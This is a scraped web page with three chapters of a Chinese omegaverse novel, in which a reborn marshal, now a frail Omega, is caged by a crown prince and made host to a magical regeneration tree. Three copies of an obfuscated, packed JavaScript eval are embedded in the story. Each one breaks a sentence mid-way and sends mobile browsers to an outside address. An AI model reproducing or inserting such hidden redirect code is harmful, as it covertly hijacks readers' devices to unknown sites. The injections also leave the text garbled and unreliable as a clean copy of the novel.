;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000156|161738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清崖的随从揣度了一番太子殿下的心意,刚要把怀里的沈清崖跟太子殿下放进同一辆车,就听秦曜丢过来一句:“把他扔后面。” 然后车门就在沈清崖鼻子前面“啪”地关上了,沈清崖感觉自己吃了一鼻子灰。 秦曜的随从默默看了怀里可怜巴巴的Omega一眼,还安慰他:“没事的,放心,我们殿下就是这样的,他也就是脾气大了点,但不会吃人的。 “殿下岁数也不小了,这还是头一次如此中意一个Omega呢,休汀先生,你可真是一个百年难遇的幸运儿啊!” 沈清崖:“……” 那他是不是还该给秦曜磕一个啊? 而且他到底是哪里看出秦曜中意他了? “哦,不过现在皇室在削减开支,其实我们日常衣食住行都要节约,所以护送殿下的车队数量不多,都是按随从的人头算的。” 随从抱着沈清崖,边往车队后面走,边跟他解释,“所以没有空的位置留给你,毕竟我们虽然是皇室,也要遵守交通规则,不可以超载的。” 这个Beta随从不受沈清崖的信息素影响,因此任沈清崖难受得冰火两重天,他自顾自一路说着废话。 直到慢吞吞走到太子的车队最后。 沈清崖抬头,秦曜的豪车车队最末尾,缀了一辆格格不入的厢货。 “所以就辛苦你,在这辆车里委屈一下了哈。” 随从憨笑着说完,就轻手轻脚地把沈清崖放进了厢货后面的车厢里,然后不由分说地关上了箱门。 沈清崖虚软无力地躺在厢货里,四周一片黑暗,伸手不见五指。 厢货缓缓发动,这里没有Alpha浓郁的、充满攻击性的信息素,因此他身上的热度也渐渐褪去了一些,虽然还是煎熬着头晕目眩,但比刚才在走廊上已经好了很多。 他感觉到有什么毛茸茸的东西在蹭自己的手。 眼睛渐渐适应了黑暗,沈清崖眨眨眼,无力地转头看过去。 一个在黑暗中显得尤其雪白的、毛茸茸的小家伙抬起了脑袋瞅着他。 ……狗?猫? 太黑了,看不太清。 所处的环境渐渐清晰,厢货到底是厢货,里面不出所料地装满了货物,待看清一堆箱子顶端放了什么东西时,沈清崖浑身一震。 永恒的轮舞曲! 再往另一边看,被防弹玻璃包裹得严严实实的再生树竟也在。 得,他是被跟秦曜要拉回去的货扔在一起了。 看来太子一行人对他拉胯的战斗能力也有充分的认知,根本不担心他弄坏这七百多亿拍下来的宝贝。 被跟这些东西扔到一起,沈清崖感觉自己此刻都身价倍增了。 手上又被那个毛茸茸的东西蹭了一下。 沈清崖无力道:“你是哪来的小东西?是秦曜那个狗养的小小狗子么?” “嗡嗡嗡嗡嗡——” ……这也不是狗能发出的声音啊。 好奇心促使沈清崖终于支起了自己的上半身,勉强坐起来。 只见那只被他当作小狗的小动物,浑圆雪白,憨态可掬,就像CIAOS冰激凌店招牌上的小雪球吉祥物。 它还长了一对纯黑的、大大的、圆溜溜的……复眼。 “嗡嗡嗡嗡~!” 一对跟它毛茸茸的身体同样雪白的胖翅膀支棱了起来。 沈清崖:“……” 这是哪里来的大幺蛾子……? 8. 殿下油盐不进 秦曜的车队就如他本人一样,豪横且蛮不讲理,一路开得风驰电掣,沈清崖在厢货里躺着,感觉脑浆都要被晃出来了。 他跟那只通体雪白的大幺蛾子相依相伴,窝一块颠了一路,也不知是不是吊桥效应,等到车停稳,竟产生了一丝跨越种族的感情。 不过大幺蛾子有蛾头稳定器,再怎么颠,它的小脑袋都端端正正,始终一脸好奇地瞅着沈清崖。 时不时还蹭他两下,发出嘤嘤嘤的声音,比沈清崖这个弱不禁风的身体要结实稳固多了。 车挺稳后,厢货后门被拉开,一车厢的货,连同沈清崖一起被搬运出去。 沈清崖的眼睛叫黑布蒙上了,等到再揭开的时候,他发现自己给关在了一个兽笼里。 笼子外面的房间轻纱曼拢,圆形大床跟组合沙发套装各据一边,空间宽敞空旷得能跑马,像是酒店的豪华套间。 关他的笼子同样很大,足够他站着伸展四肢跳起来都绰绰有余。 ……但那也是个笼子。 沈清崖在心里骂骂咧咧,要不是为了那该死的好感度,他这辈子一定都离秦曜那个瘟神远远的。 事已至此,只能静观其变,等待刷好感度的时机。 谁让他命里带瘟。 也许是刚才一路颠得心惊肉跳的缘故,他体内的结合热冷却了一些,体温还是高,但至少脑子清醒了很多,姑且能冷静地分析局势。 秦曜那么嫌弃他,为什么会把他带回来? 只有两个可能。第一个可能是因为他这个米兰休汀的身份,但秦曜又一副对休汀家闻所未闻的模样,那就只能是为了那三亿的悬赏金…… 这一场拍卖会就出手近一千亿的秦曜会在乎这点钱?呃,听起来不太符合逻辑。 那就是第二种可能了。 秦曜,对他的信息素有反应,出于控制不住的Alpha本能,想将这个Omega据为己有。 沈清崖:“……” 他有点高兴又不高兴。 高兴是这么看来,攻略计划或许可以很顺利地进行,那么他就不会被抹杀,他也就能够留在这个世上,尽力去做上辈子没能做成的事情,完成曾经未了的心愿。 不高兴是…… 万一他真被秦曜标记了…… 上辈子某些不堪回首的记忆袭来,别的不说,沈清崖对于秦曜在那方面的牲口程度属实是三生三世也忘不了。 他上辈子一个身体那么强悍、精神那样坚固的、千锤百炼的Alpha的身体,都姑且难以承受,那这个Omega身体…… 他该不会出师未捷就先死在秦曜床上吧…… 沈清崖打了个寒战,内心开始天人交战。 这么一交战就交战了一整天,窗外的天色由白转黑,始终没人搭理他,沈清崖想累了,甚至还窝在笼子里睡了一觉。 等一觉睡醒,伸了个漫长的懒腰,下一刻,房门开了。 熟悉的军靴叩击地面的厚重声响,是秦曜。 人走进来,房门再度关上。 不同于拍卖会人挤人的场景、混杂不堪互相冲撞的信息素,此时这个封闭的空间内只有他跟秦曜两个人。 Alpha的沙利叶花香味信息素侵占式地弥漫了整个空间,几乎只是一瞬间,沈清崖就从刚睡醒的懒散舒适变成几乎喘不上气来。 身体也软了下去。 后颈的腺体隐隐作痛,同时体内结合热再度卷起,他能清晰感受到,他的身体在渴望秦曜的接近和触碰。 冷静。 沈清崖又毫不留情地在自己大腿根掐了一把,疼得一激灵。 秦曜在这个兽笼前停下,他脱掉了军服外套,穿着内搭的黑衬衣,同样是足金的扣子,扣到很高,只有最上面的那颗解下来,露出喉结。 男人有一双冰蓝色的眼睛,定定看人的时候,这种颜色其实显得十分温柔而纯粹深情,只是秦曜面部冷厉的轮廓严重削减了这种柔和,整个人近乎是有种刀枪不入的不近人情。 ……都是假象。 呵呵,他还不了解这个狗私底下是什么样子么? 也就在不认识的人跟前装装。 秦曜鼻子上有汗珠,脸也有些异乎寻常的红,明显也是被Omega的信息素影响得颇深。 沈清崖的大脑已经在飞速打转,默默思考,有没有什么除了被秦曜吃干抹净就地标记一胎八个以外的提高好感度的方法。 空气中,信息素的浓度呈几何式急剧攀升,连呼出的二氧化碳都变成了甜腻的。 原来这就是Omega跟Alpha天然的吸引么……教科书上写得远远比现实含蓄嘛…… 沈清崖苦中作乐地想。 “米兰·休汀,你接近我有什么目的?是谁指使你的?” 秦曜慢条斯理地坐在了沙发上,盯着笼子里的沈清崖。 他那双冰蓝色的眸子眯起来的时候泛着金属质的冷光,有点像猫,也有点像……那只车厢里的大幺蛾子。 沈清崖被自己的脑补雷了一瞬,然后继续装可怜:“殿下,小人没有……小人只是抑制贴失效了……” 他忍着鸡皮疙瘩努力装出一副楚楚可怜泫然欲泣的样子,加入一些从前从学生那里没收来的Omega杂志里学来的“小心机”。 低头,眼睛向上看着秦曜,纤长的睫毛忽闪忽闪…… 侧身坐着,倚靠旁边的支撑物,双腿向一侧伸开,显露出身体曲线和腿部到脚踝的线条…… 抬起一只手,虚虚掩在一侧脸颊,修饰脸部线条的同时,放大柔弱无助的神情…… 沈清崖眨巴着眼睛,心想,他都这么努力了,好感度怎么着也能上升一点点吧? 系统果然就又跳了出来。 【报告宿主,报告宿主,攻略目标[美强惨帝国太子秦曜]好感度下降10点,目前好感度-40,请宿主知悉,宿主要加油哦~~目标是3天内将目标好感度提升至15点,否则抹杀~~~抹杀~~~抹杀~~~】 沈清崖:“…………” 只听秦曜的语气已经将至冰点,语气里的嫌弃浓重到沈清崖以为自己是什么有害垃圾。 “真是个矫揉造作不知廉耻的Omega,现在的贵族世家养出来的都是些什么玩意儿?我早该把这些占着茅坑不拉屎的酒囊饭袋一锅端了,省得这群蛀虫占着爵位还年年从国库白拿钱。” 秦曜这话沈清崖爱听,他连忙道:“那你端了吧,记得我爸叫约瑟·休汀,别端错了。” 秦曜:“看来你不是休汀家派来的。” 沈清崖这会儿是发现了,他这死对头现在比上辈子还难搞。 反正现在好感度都已经降到-40了,俗话说光脚的不怕穿鞋的,沈清崖觉得自己已经没有什么可以再失去的了。 于是他破罐子破摔道:“没错,我当然不是休汀家派来的,我就是逃婚出来跑到阿斯蒙帝斯,碰巧遇见殿下您,一时鬼迷心窍想攀上枝头做凤凰。” 系统:【报告宿主,报告宿主,攻略目标[美强惨帝国太子秦曜]好感度下降5点,目前好感度-45,请宿主知悉。】 可恶。 沈清崖想到小时候喜欢玩的农场游戏,游戏里可以一边种田一边攻略镇上的NPC,有的NPC就是如此油盐不进,任凭玩家使出十八般武艺,好感度就是只降不升。 他还就跟秦曜这个难搞的NPC杠上了。 好胜心一起来,沈清崖就管不了那么多了,整个人都放飞起来,一心要找出秦曜的弱点,连身体的难受和空气里浓郁的信息素都暂且被抛诸了脑后。 然后…… 【报告宿主,报告宿主,攻略目标[美强惨帝国太子秦曜]好感度下降2点——】 【报告宿主,报告宿主,攻略目标好感度下降6点——】 【好感度下降3点——】 【下降8点——】 …… 一番不见刀光犹闻剑影的交锋后,沈清崖跟系统都累了。 秦曜的好感度已然降到了-78,看沈清崖的眼神再不是一句有害垃圾足以形容的了。 这么说吧,沈清崖感觉自己现在在秦曜眼里,可能烦人得跟污染区守门的泥巴史莱姆小怪物是一样的。 就连空气里秦曜的信息素浓度都略有下降。 可见心理上的厌恶,是可以影响到生理上天然的性//吸//引的。 沈清崖绝望地闭眼,问系统:【我这辈子是不是刚刚开始就要结束了?】 系统也很嫌弃,原本机械冰冷的声音都染上了负面色彩:【宿主,不得不说,你是我带过最差的一届宿主。】 沈清崖正在脑袋里跟系统抱怨,房门从外面被叩响三声。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000157|161738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“殿下,萨波尔一族的大祭司求见。” “萨波尔族大祭司?”秦曜的注意力被从沈清崖身上拉回,不高兴道,“是那个在拍卖会跟我抬价的老东西吧,他来做什么,嫌自己死得不够快,想让我推他一把?” 门外秦曜的随从毕恭毕敬道:“殿下,他说他是为再生树而来。” “来个屁,难道还指望从我这把再生树拿走?这老东西最好祈祷他今天竖着进来还能竖着出去!”秦曜冰蓝色的眼睛又眯成了一条,眼底冷光森然,“这种屁事也来跟我汇报,你觉得我很闲,什么人都愿意陪他聊聊?” “呃……抱歉,殿下。其实他来的时候,属下就已经拒绝过了。但是……” “但是什么但是,别跟我玩这套。” “属下知罪——但是那位大祭司说,他想跟殿下商议的事,不仅事关再生树,还事关……沈大元帅。” 发火边缘的秦曜,和绝望边缘的沈清崖,同时抬起了头来。 秦曜皱着眉头思索了许久,最后道:“你带他过来。” 少顷,门再次被敲响,随从领着一名身着银蓝色毛边装饰的少数民族服饰的老者走了进来,那老者颤颤巍巍,沈清崖还记得他下巴上千年老参一般的胡子。 随从进来后瞥了沈清崖一眼,秦曜挥挥手:“没事,有什么事都直说,一个Omega罢了,掀不起什么风浪,大不了一会儿杀了他。” 沈清崖:“……” 秦曜离开了床,坐在了酒店落地窗边高高的沙发椅上,并不邀请那萨波尔族大祭司落座,大祭司便微低头,不卑不亢站在他面前,未曾鞠躬,更不下跪。 “你这老东西,见了我为什么不跪下?”秦曜被气笑了。 萨波尔族大祭司道:“我们萨波尔族数千年来离群索居,有自己的信仰,与帝国人没有过多交集。在下是萨波尔族代表神明的大祭司,即便殿下要求,在下也不能向除了神明外的任何人行跪礼。” “行吧。” 秦曜也没耐心跟一个半截脚脖子埋土里的老头掰扯这些,他语调仍旧缓慢,却难掩话语中暗藏的急切,“你要跟我说沈清崖和再生树的什么事?” 其实当“沈大元帅”跟“再生树”这两样线索联系在一起,秦曜心中已然有了猜测,他只是希望能从这老头嘴里证实自己的猜测。 若果对方最终说出的话不合他的意……那他也不介意在这里当场送这老头一程。 免得以后什么人都敢拿沈清崖来跟他提一些胆大包天的交涉。 萨波尔族大祭司抬头,直视着秦曜的眼睛,沉声道:“不瞒殿下所说,在下今日与殿下在拍卖会竞拍再生树,就是为了能复活八年前逝去的沈大元帅。” “哦?沈清崖跟你们萨波尔族有什么关系,你花大价钱要复活他做什么?” 秦曜赌对了,却不动声色。 “沈大元帅与我们萨波尔族并没有直接的关联,但站在更高的角度,亦有千丝万缕的关系。具体原因,是神明的旨意,恕在下不能泄露。 “今日的拍卖会结束后,老身听到传闻,说殿下拍下再生树,同样是为了复活沈大元帅。既然我们双方有相同的目的,老身自然愿倾尽所能,助殿下一臂之力。” “你口气挺大,你一个小破部落的老年乡巴佬,能帮我什么?” “老身猜想,殿下应当并不知道再生树的使用方法。况且……沈大元帅的遗体不知所踪,甚或者早已在污染区化成了飞灰,想必殿下也不知,接下来该从何下手吧?” “……”是这样没错,这老头说对了。 大祭司继续道:“只要沈大元帅的灵魂还在天地间,没有消散也没有转生,老身就有三成左右的把握,能将沈大元帅复活!” 秦曜冰蓝色的眼睛,诡异地亮了,那是某种压抑又狂热的色彩。 三成……听起来不多。 可对于身处一片黑暗中的人来说,33.333……%的概率,已经是奇迹中的奇迹了。 笼子里的沈清崖被无视了许久。 他稍一分神,身体里的结合热又来了一波,浑身滚烫中,沈清崖怔怔抬起自己十指如葱漂亮的手。 “沈大元帅的灵魂”……某种意义上来说,确实已经转生了吧。 他依然打算要继续做上辈子没能完成的事,只是“死而复生”嘛……就不知道能不能做到了。 9. 殿下的决心 “殿下,抱歉打断一下,您还好么?您的脸有点红……” 秦曜的Beta随从双手拘在身前,小声提醒。 他们太子殿下现在的模样确实有一丝诡异。 头发是黑的,眼睛是蓝的,脸是红的。 要沈清崖说——跟动物园里的猩猩似的,充其量是个帅猩猩。 屋内高浓度的信息素影响的自然不仅仅是沈清崖,也包括秦曜。他的脸跟脖颈肉眼可见得变红,额头跟鬓角泌出汗珠,典型的Alpha信息素萌动表现。 秦曜沉迷于关于再生树复活沈大元帅的话题,根本无暇顾及自己身体的异状,经随从提醒才感觉到不对劲。 “怪事了……”他暂缓再生树事宜的讨论,抹了一把额头的汗,百思不得其解,“这个Omega的信息素怎么这么厉害?” 沈清崖:“……” 这个呆子,生理常识课都是用脚听的吧? 信息素哪有什么厉害不厉害之说,Alpha或Omega对异性信息素的感知强度都取决于匹配度,很容易理解的事。 “给他打一针,忙着呢,叫这个Omega别在这随地发(和谐)情。”秦曜不耐烦地指挥随从道。 于是随从就退出去了,过了一会儿拿了个有小孩手臂粗的巨大针管进来,对着沈清崖笑:“不疼的不疼的,忍一下就过去了哦。” …… 伺候秦曜这个巨婴是要幼师上岸才有资格么? 一针注射进后颈腺体,沈清崖感受着冰凉的液体一点一滴注入皮肤的感觉,又痛又麻,身体止不住地轻颤。 沈清崖知道Omega打抑制剂都是很痛的,却也知道,这点痛比不上被Alpha咬腺体标记的十分之一。 哎,做Omega真难。 那边秦曜也吃了几颗控制信息素的药片,喝了半壶茶,稍作休整。 沈清崖打完抑制剂以后有点犯困,有一句没一句听秦曜跟萨波尔族大祭司谈判,尽量集中精神捕捉了些关键词。 一,再生树这个东西很万能,不止能从意识层面上召回逝者魂灵,甚至还能重塑逝者缺失的肉身; 二,要重塑肉身说起来也很简单,只需要用再生树的枝干捏一个就行了,简单方便,就像木雕。 ……要是真这么简单方便就好了。 “没错,要重塑沈大元帅的肉身,只要把再生树养大,取它的木身便可以做到,听上去并不难,然而再生树的成长周期十分缓慢,若是运用此法,怕是赶不及——既赶不及我萨波尔族的神谕,也赶不及殿下的预期。” “老头,说重点。你就告诉我到底有多慢就行。” 秦曜平时在大庭广众跟前还会装一装,现在周遭除了这个萨波尔族老祭司都是自己人,他又着急,装都懒得装了,跟刚才那个如神祇降世般高高在上出现在拍卖会的太子殿下判若两人。 “——一千五百年。” 秦曜:“……” 太子殿下“砰”地把手里的茶杯拍回桌上,怒道:“你这老东西,大老远过来跟我说这么久废话,就是为了耍本太子?你信不信我把你从窗子扔下去摔成肉泥灌成人肉香肠?!” 相比于秦曜的暴跳如雷,萨波尔族大祭司沉稳得八风不动,连一根胡子毛都没翘一下。 “殿下,老身还未说完,殿下年轻,却也不应如此猴急——” 他话未说完,一个笼罩着丝丝黑雾的风窝就“轰隆”一声砸在萨波尔族大祭司身侧,风窝之强横,将老者宽大的袍袖顷刻间撕成了碎片! “我警告你——” 秦曜微微抬起的右手上剩余的黑气还未散尽,只见他冷笑着,冰蓝色的眼睛如同黑豹狞猫一样紧盯着大祭司,“你接下来说的话,但凡有一个字是我不爱听的,我就把你卷成肉块拿去喂狗。” 大祭司依旧淡定:“殿下,请您听老身说完。 “——理论上来说,要让再生树生长发育成熟到足以用来重塑肉身的程度,至少也要一千五百年,但是在我族的神谕之中,却也有缩短这个周期的方法。如果一一照做,应用得当的话,这个周期最多可以被压缩至仅仅八年!” “……一千五百年,压缩成八年?” 秦曜满脸怀疑,这种事情听起来只存在于星网诈骗里。 “我说你这老头,到底靠不靠谱?我警告你,我多的是办法检验你说的是真话还是假话,我劝你不要自作聪明。” “老身未曾自作聪明,老身知道此事乍听很是奇异,确实,从世间万物的规律来看,这世上不可能存在一本万利之事。因此,老身强调了是‘最多可压缩至八年’,而要达到这个‘最多’的条件,可以说是苛刻到极致,甚至不可能达成的。” 秦曜嗤笑道:“不可能?对我来说这世上不存在不可能的事。即便是上天入地,只要本太子想,就没有不可能。” “但愿如此。” 之后,萨波尔族大祭司就详细地向秦曜讲解了这将一千五百年的光阴缩地成寸的方法。 简单来说就是,再生树不管再怎么罕见又再怎么神秘,归根结底它也是生物。 要想促进生物的生长发育,给他催熟,那自然就唯有打“激素”。 只是适用于再生树的激素并非传统意义上的激素药品。 再生树是土生土长的污染区造物,污染区的东西,对帝国人来说总是笼罩着一层诡异又神秘的色彩,不然也不会让那么多帝国的权贵趋之若鹜,不惜重金购买;更不会催生出如此之多的亡命之徒,冒着九死一生的危险深入污染区。 传统的生物逻辑,并不适用于污染区的生物。 催熟这再生树所需要的肥料,十分抽象。 污染区生物普遍智能偏低,渴望能进化得更趋近于人类。 他们最缺的就是属于人的人性,所以这玩意儿对所有污染区生物来说都是绝佳肥料——这个小常识,对于常年深入污染区的沈清崖跟秦曜来说都不陌生。 所以只要搜集到足够多的“人性的饲料”,就能催熟再生树。 “嫉妒、恨意、求知欲、占有欲、贪欲、爱//欲……人类本身就是欲望的集合体。” “行,我知道了,这事我会去想办法,你可以滚了。” 秦曜懒得再问这个啰嗦的老头,这些抽象的玩意儿到底要怎么搜集。 他有绝对的自信,只要知道了方向,他自然能找到最高效的方法。 萨波尔族大祭司也没质疑这个狂妄自大的太子殿下的能力,让他滚,他就滚了。 滚之前最后问了一句:“不知殿下如此执着要复活沈大元帅,到底是——” “这还用问么。” 秦曜就像拿到了游戏说明书的新玩家,现在整个人都定了心,心情也好了不少,慢悠悠地翘起二郎腿,喝了一口茶。 然后勾唇一笑,露出口中白森森的獠牙。 “自然是因为我恨死他了,就算挖他的坟,刨他的灰,就算用尽所有办法,我也要把他弄活过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000158|161738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,然后日(和谐)死他。” 沈清崖在因为抑制剂的作用睡着前,隐隐听到这话,迷迷糊糊地想:你是日不死我的,呆子。 连我在你旁边蹲着都不知道,还说要日(和谐)死我。 他苦中作乐——虽说现在秦曜对他的好感度已经降到了-78,但他对上辈子的沈大元帅的好感度一定更低啊! 四舍五入他这次还进步了呢! zzz…… . 沈清崖再次醒过来时身上的结合热已全然消退。 他又感觉到有什么毛茸茸的东西在自己手背上蹭,熟悉的触感,睁开眼一看,果然是那只似曾相识的大幺蛾子。 “嘤嘤嘤!” 大幺蛾子见沈清崖醒了,很高兴,一双大眼睛都眯成了两个下垂的弯月亮。 它扑棱着大翅膀原地上下扑腾,像个胖壮毛绒小飞机。 “……你到底是哪来的小东西,这么喜欢我呢?” 沈清崖有点好笑,这小东西叫他想起他上辈子还在军校读书的时候养的小蜜袋鼯。 那个时候他跟秦曜还是战斗特化班的同学,秦曜比他年龄小,晚入学两年,他排班上第一,秦曜排第二。 这个小心眼子就一直把他视作假想敌,半点也没有同学爱。 沈清崖养的蜜袋鼯警戒心很强,某天他把小家伙揣在兜里去上战斗实践课,小家伙精准识别到了秦曜的敌意,拍着翅膀从他口袋里飞了出去,落在秦曜胳膊上。 然后张大嘴,恶狠狠在太子殿下胳膊上吧唧一口。 他的蜜袋鼯有点特殊,是个C级小污染物,进化出了毒腺。 于是秦曜被咬了以后的整整一个月,一只胳膊都肿得跟吹气儿了一样,比另一只胳膊粗了三圈,枪拿不稳,用战斗控制台都按不准按键。 沈清崖表面上乖乖跟秦曜道歉,心里笑得劈叉。 “你可别咬我啊,小东西,我不想肿成猪大肠。” 想到这宗陈年往事,沈清崖赶忙警告那大幺蛾子。 “嘤~” 沈清崖还在笼子里,房间里又只剩了他一个,往窗外看去,夜色已至,满目漆黑。 系统蔫蔫地提醒:【报告宿主,距离抹杀时间只剩2天,还请好自为之,不要消极怠工,努力提高好感度。】 这怎么提高啊? 沈清崖仰倒在笼子里,很难想象什么奇迹降临能在两天内把好感度拉高将近一百点。 秦曜要是那么容易讨好的话还至于人人把他当瘟神么? 沈清崖正在愤愤地腹诽,秦曜的随从又进来了,随从手里拿着钥匙,叮铃哐啷一通,给沈清崖打开了铁笼的门。 沈清崖:“?” “殿下让您过去一下。” 随从对笼子外面飞来飞去的大幺蛾子视若无睹,大蛾子见随从跟沈清崖讲话,不高兴地拍了随从一翅膀,拍了他一脸白色的粉。 但这位随从涵养好得惊人,被一只大幺蛾子如此欺负都始终面带微笑,竟也不驱赶它。 沈清崖对这位仁兄的心理素质十分佩服,爬出笼子,问:“殿下要放我走了?” 随从摇头:“您跟我去了就知道了。” 沈清崖便由着这个敬业的Beta随从带领他穿过酒店富丽堂皇的走廊,走过无数水晶吊灯,然后来到一间光看门扉就极尽奢华的房间前。 他在那扇雕花镶钻的大铜门前,朝沈清崖一倾身:“殿下就在里面等待,休汀先生您请进吧。” 10. Omega要战斗 秦曜主动找他这个好感度-78的野生Omega能有什么好事?沈清崖不是很敢擅自假设。 事出反常必有妖。 他缓缓推开那扇气派的雕花门,本以为屋内应当是如走廊一般的光华璀璨,没想到房间里黑不溜秋的,只点了一盏萤火一样的小夜灯。 把个秦曜原本就白的脸映照得惨白似鬼魂,一双蓝眼睛那就是一对幽冥鬼火。 沈清崖刚跨进屋的脚又缩回去了,拔腿就想跑。 果然妖,妖气冲天! 秦曜不费吹灰之力就捞回了妄想从他这个现今的帝国第一战力眼皮底下逃走的小Omega,冷冰冰道:“跑什么?我会吃人?” 这很难讲。 沈清崖心道谁知道你又会发什么癫,总之以现在的好感度来看绝对安全不到哪去。 好在秦曜也懒得跟他多废话,直接挑明:“你进来,我要你给我做个实验。” 沈清崖小心翼翼:“是那种疯狂的人体实验吗?一不小心就会炸成烟花的那种?” “……”秦曜嘴角抽了抽,“如果你想的话,也不是不行。” 沈清崖头摇得像拨浪鼓。 重新在房内站定,沈清崖的眼睛适应了黑暗后,才赫然发现屋里那个散发着幽绿荧光的东西是什么。 那居然不是灯,而是被防弹玻璃严密保护着的再生树。 巨大的合金花盆内,再生树那点只有沈清崖小拇指长的小苗苗舒展着两片嫩叶,在黑暗中发出淡淡的光芒,竟叫人看出了一丝宝相庄严之感。 沈清崖正好奇地盯着这个传说中的污染区生物细看,防弹玻璃顶层便向两边打开了。 “你把手放树苗上面试试。” 沈清崖不是很想试。 “别让我说第二遍。”秦曜冰蓝色的瞳孔眯成了某种鹰隼一类动物的形状,恐吓道。 识时务者为俊杰,沈清崖上辈子武力强大,可以不识时务,这辈子不一样了,他决定还是老老实实做个俊杰。 于是他伸出右手,虚虚置于那荧光小树苗的上方。 神奇的事发生了,手底下的荧光在刹那间变得极盛,绿光笼罩了整间屋子,丝丝缠绕,如极光炫目,沈清崖甚至产生了自己的手都被染成了绿的错觉。 他忍不住抬眉,朝秦曜看去。 哦豁,秦曜的脑袋上也闪烁着一片绿光。 这绿光持续的时间并不长,不过数秒,就消失无踪,屋内重新沉入黑暗,这次的黑暗伸手不见五指,连那一点荧光都不见了。 屋顶的水晶灯在下一刻亮起,数百根繁复的水晶管将灯光如瀑洒下,比酒店走廊上的灯光更令人目眩神迷,刚才那种神秘又鬼里鬼气的氛围像是没有存在过。 等沈清崖再次看向面前的合金花盆,才发现—— 再生树不见了。 沈清崖有点小慌。 “殿下,不是我把再生树弄没的,您要明鉴啊。” 秦曜说:“就是你弄没的。” 话是这么说,秦曜那张万年臭脸却缓和了,就连语气都没先前那么冷得掉渣了。 莫非这就是他所说的“实验”? 秦曜大概是心情不错,还跟沈清崖大致解释了一番。 简单来说,就是再生树需要全方位地吸收“人气儿”,不仅仅要肥料,还需要一个共生体。 原本秦曜是想让身边信得过的下属来做这个共生体,可试了一圈,没人成功,最后病急乱投医,就把主意打到了沈清崖这个捡回来的Omega身上。 秦曜用一根手指抬起沈清崖的下巴,语气不善: “听着,从今天开始,你就是本太子的奴隶了,一步都不许离开,上厕所都要向我打报告,期限不定,直到再生树在你身体里吸够了营养,长大成熟为止——听懂了没?” 沈清崖颤巍巍:“……我会死吗?” 秦曜:“不会,你只是个容器而已,就像代孕,死不掉。老老实实给我做奴隶,不许忤逆我,不许捅娄子,可能十年八年后就可以还你自由了。” “……” 这什么奇葩的霸王条款?! 别的奴隶主跟资本家就算签霸王条款好歹也要牛马签个字画个押吧…… 美丽羸弱的金发Omega一双跟头发同样足金的眼睛无比惊恐,泫然欲泣,俨然一只受惊的兔子。 若是寻常Alpha,看到这样的人间极品如此害怕,想必都会油然而生一种保护欲,只恨不得将他揉进怀中,好好疼爱,万般呵护。 但秦曜显然不是那种世俗的Alpha。 他嫌弃地抽回手,还从口袋里掏出了手帕,把那根碰过沈清崖下巴的食指仔仔细细擦了一遍。 然后凉凉地说:“你身上带着我的720亿,劝你别想跟你逃婚似的逃跑,不然我有的是办法让你再也跑不掉。” 说完他就意有所指地瞥了一眼沈清崖的大腿,比了个“咔嚓”的动作。 沈清崖:“……” 上辈子跟这个癫子缠缠绵绵到天涯也就罢了,怎么这辈子又这样?好感度光知道降,折腾起他来是一丝不手软。 他问系统:【我都牺牲这么大了,怎么样,好感度有提升吗?】 系统冷漠:【报告宿主,没有。】 沈清崖:【……】="=凸 无奈之下,沈清崖只能可怜兮兮问秦曜:“殿下,那之后……小人是要一直跟在您身边吗?您去哪小人就要去哪?” “嗯。” “那小人也可以住在莉莉丝皇宫里吗?” “……嗯。” “那殿下上战场也要带上小人吗?殿下会保护小人吗?” “你再得寸进尺信不信我现在就砍了你?” 沈清崖像没看见秦曜眼里的杀气,继续得寸进尺:“您不能砍小人吧?树还在小人体内呢。” “你死了,容器可以再找。” 沈清崖闭嘴了。 闭了不到三分钟,又眨巴着眼睛问:“小人跟那个奥菲罗家少爷的婚事——” “我会解决。”秦曜冷冷道,“悬赏我也会让你家人跟奥菲罗家撤了,你现在不是谁的未婚Omega,是本太子的奴才。” 沈清崖选择性无视了秦曜的后半句话,十分高兴:“殿下,那小人想吃冰激凌——” 一记风窝带着黑气袭来,削断了沈清崖鬓角的一绺金发。 秦曜的语气像二月飞雪:“我说过,不要得寸进尺。” 沈清崖再次闭嘴了。 两人就这么在大而奢侈的酒店套房内相顾无言了一会儿,十分相看两厌,秦曜尤其。 左右也无事可做,秦曜不想再对着这个只会哭唧唧跟提无理要求的弱鸡Omega,站起来稍微活动了一下身体,然后将终端连上了训练舱,准备做一把虚拟训练。 沈清崖眼巴巴:“殿下,小人也想——” “闭嘴。” 秦曜掉头往房间走,“啪”一声关上了房门。 再出来的时候,Alpha已经换上了贴身的训练服,身上的每一寸肌肉都张弛有度地展现在沈清崖眼前。 沈清崖默默移开了视线——这会让他不由自主想起眼前这人的果体。 并不是什么多么美好的回忆。 虚 